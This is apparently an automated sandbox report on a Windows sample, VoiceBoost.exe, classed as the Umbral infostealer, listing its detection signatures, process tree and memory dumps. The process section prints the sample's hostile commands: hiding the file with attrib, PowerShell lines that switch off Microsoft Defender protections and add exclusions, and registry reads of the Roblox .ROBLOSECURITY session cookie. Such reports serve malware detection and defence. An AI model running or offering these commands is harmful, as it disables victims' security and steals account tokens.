Analysis
- user interaction
yes - max time kernel
149s - max time network
133s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
25/04/2026, 10:33
General
- Target VoiceBoost.exe
- Size 375KB
- Sample260425-mlq4dsft51
- SHA256 1fa1ca42abac4f9bb826940e36893d4e6e2612a6cc314c490e593b2834027082
Malware Config
Signatures
- Family: Umbral
Umbral stealer is an open-source modular stealer written in C#.
- Detects Umbral payload 1 IoCs
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Disables one or more Microsoft Defender components 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to disable one or more Microsoft Defender components.
- Drops file in Drivers directory 1 IoCs
- Disables automatic submission of suspicious files to Microsoft by Windows Defender 1 TTPs 1 IoCs
Uses the Powershell Set-MpPreference cmdlet to prevent Windows Defender from automatically sending files to Microsoft for analysis.
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious behavior: EnumeratesProcesses 8 IoCs
- Suspicious use of AdjustPrivilegeToken 5 IoCs
- Suspicious use of WriteProcessMemory 5 IoCs
- Views/modifies file attributes 1 TTPs 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\VoiceBoost.exe"C:\Users\Admin\AppData\Local\Temp\VoiceBoost.exe"1⤵
- Drops file in Drivers directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\attrib.exe"attrib.exe" +h +s "C:\Users\Admin\AppData\Local\Temp\VoiceBoost.exe"2⤵
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\VoiceBoost.exe'2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 22⤵
- Command and Scripting Interpreter: PowerShell
- Disables one or more Microsoft Defender components
- Disables automatic submission of suspicious files to Microsoft by Windows Defender
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
powershell.exe.log
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
StartupProfileData-NonInteractive
__PSScriptPolicyTest_v3qyfhr3.byi.ps1
memory/1988-66-0x000002219ABA0000-0x000002219ABAC000-memory.dmp
memory/1988-67-0x00000221B3260000-0x00000221B32CB000-memory.dmp
memory/3624-93-0x0000029C80120000-0x0000029C8012C000-memory.dmp
memory/3624-94-0x0000029C986C0000-0x0000029C9872B000-memory.dmp
memory/3672-54-0x0000025C90800000-0x0000025C9080C000-memory.dmp
memory/3672-42-0x0000025CA8DE0000-0x0000025CA8DF0000-memory.dmp
memory/3672-55-0x0000025CA9090000-0x0000025CA90FB000-memory.dmp
memory/3672-51-0x0000025CA9060000-0x0000025CA9082000-memory.dmp
memory/3672-43-0x0000025CA8DE0000-0x0000025CA8DF0000-memory.dmp
memory/4844-4-0x0000020BD1340000-0x0000020BD13AB000-memory.dmp
memory/4844-3-0x0000020BCFA80000-0x0000020BCFA88000-memory.dmp
memory/4844-70-0x0000020BE9E90000-0x0000020BE9F06000-memory.dmp
memory/4844-71-0x0000020BE9F10000-0x0000020BE9F60000-memory.dmp
memory/4844-0-0x0000020BCF670000-0x0000020BCF6D4000-memory.dmp
memory/4844-72-0x0000020BD13B0000-0x0000020BD13CE000-memory.dmp
memory/4844-5-0x0000020BE9D80000-0x0000020BE9D90000-memory.dmp
memory/4844-102-0x0000020BD1340000-0x0000020BD13AB000-memory.dmp
memory/4844-2-0x0000020BCFA70000-0x0000020BCFA7C000-memory.dmp
memory/4844-96-0x0000020BD13E0000-0x0000020BD13EA000-memory.dmp
memory/4844-23-0x0000020BD1340000-0x0000020BD13AB000-memory.dmp
memory/4844-1-0x0000020BE9D80000-0x0000020BE9D90000-memory.dmp
memory/4844-97-0x0000020BD1410000-0x0000020BD1422000-memory.dmp
memory/6096-82-0x0000020D5EC50000-0x0000020D5EC5C000-memory.dmp
memory/6096-83-0x0000020D78CA0000-0x0000020D78D0B000-memory.dmp